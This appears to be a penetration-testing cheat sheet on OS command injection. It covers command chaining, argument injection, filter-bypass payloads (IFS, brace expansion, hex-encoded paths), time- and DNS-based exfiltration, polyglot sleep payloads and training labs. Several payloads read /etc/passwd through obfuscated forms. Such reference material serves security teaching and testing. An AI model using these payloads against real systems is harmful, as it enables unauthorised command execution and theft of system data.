Command Injection
Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
Summary
- Tools
- Methodology
- Filter Bypasses
- Bypass Without Space
- Bypass With A Line Return
- Bypass With Backslash Newline
- Bypass With Tilde Expansion
- Bypass With Brace Expansion
- Bypass Characters Filter
- Bypass Characters Filter Via Hex Encoding
- Bypass With Single Quote
- Bypass With Double Quote
- Bypass With Backticks
- Bypass With Backslash And Slash
- Bypass With $@
- Bypass With $()
- Bypass With Variable Expansion
- Bypass With Wildcards
- Data Exfiltration
- Polyglot Command Injection
- Tricks
- Labs
- References
Tools
- commixproject/commix - Automated All-in-One OS command injection and exploitation tool
- projectdiscovery/interactsh - An OOB interaction gathering server and client library
Methodology
Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
Example of Command Injection with PHP:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
In the above code, the PHP script uses the system()
function to execute the ping
command with the IP address or domain provided by the user through the ip
GET parameter.
If an attacker provides input like 8.8.8.8; cat /etc/passwd
, the actual command that gets executed would be: ping -c 4 8.8.8.8; cat /etc/passwd
.
This means the system would first ping 8.8.8.8
and then execute the cat /etc/passwd
command, which would display the contents of the /etc/passwd
file, potentially revealing sensitive information.
Basic Commands
Execute the command and voila :p
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
Chaining Commands
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
;
(Semicolon): Allows you to execute multiple commands sequentially.&&
(AND): Execute the second command only if the first command succeeds (returns a zero exit status).||
(OR): Execute the second command only if the first command fails (returns a non-zero exit status).&
(Background): Execute the command in the background, allowing the user to continue using the shell.|
(Pipe): Takes the output of the first command and uses it as the input for the second command.
command1; command2 # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2 # Execute command1 in the background
command1 | command2 # Pipe the output of command1 into command2
Argument Injection
Gain a command execution when you can only append arguments to an existing command. Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.
-
Chrome
-
SSH
-
psql
Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
- curl
Inside A Command
- Command injection using backticks.
- Command injection using substitution
Filter Bypasses
Bypass Without Space
$IFS
is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret$IFS
as a space.$IFS
does not directly work as a separator in commands likels
,wget
; use${IFS}
instead.- In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
- Input redirection. The < character tells the shell to read the contents of the file specified.
- ANSI-C Quoting
- The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value
09
. - In Windows,
%VARIABLE:~start,length%
is a syntax used for substring operations on environment variables.
Bypass With A Line Return
Commands can also be run in sequence with newlines
Bypass With Backslash Newline
- Commands can be broken into parts by using backslash followed by a newline
- URL encoded form would look like this:
Bypass With Tilde Expansion
Bypass With Brace Expansion
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}
Bypass Characters Filter
Commands execution without backslash and slash - linux bash
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
Bypass Characters Filter Via Hex Encoding
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
Bypass With Single Quote
Bypass With Double Quote
Bypass With Backticks
Bypass With Backslash and Slash
Bypass With $@
$0
: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, $0
will typically give the name of the shell.
Bypass With $()
Bypass With Variable Expansion
Bypass With Wildcards
Data Exfiltration
Time Based Data Exfiltration
Extracting data char by char and detect the correct value based on the delay.
-
Correct value: wait 5 seconds
-
Incorrect value: no delay
Dns Based Data Exfiltration
Based on the tool from HoLyVieR/dnsbin, also hosted at dnsbin.zhack.ca
- Go to http://dnsbin.zhack.ca/
- Execute a simple 'ls'
Online tools to check for DNS based data exfiltration:
- http://dnsbin.zhack.ca/
- https://app.interactsh.com/
- Burp Collaborator
Polyglot Command Injection
A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
- Example 1:
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} # Context inside commands with single and double quote: echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
- Example 2:
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ # Context inside commands with single and double quote: echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/" echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
Tricks
Backgrounding Long Running Commands
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using nohup
, you can keep the process running after the parent process exits.
Remove Arguments After The Injection
In Unix-like command-line interfaces, the --
symbol is used to signify the end of command options. After --
, all arguments are treated as filenames and arguments, and not as options.
Labs
- PortSwigger - OS command injection, simple case
- PortSwigger - Blind OS command injection with time delays
- PortSwigger - Blind OS command injection with output redirection
- PortSwigger - Blind OS command injection with out-of-band interaction
- PortSwigger - Blind OS command injection with out-of-band data exfiltration
- Root Me - PHP - Command injection
- Root Me - Command injection - Filter bypass
- Root Me - PHP - assert()
- Root Me - PHP - preg_replace()
Challenge
Challenge based on the previous tricks, what does the following command do:
NOTE: The command is safe to run, but you should not trust me.
References
- Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019
- Argument Injection Vectors - SonarSource - February 21, 2023
- Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014
- Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018
- Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017
- No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017
- OS Command Injection - PortSwigger - 2024
- SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017
- TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018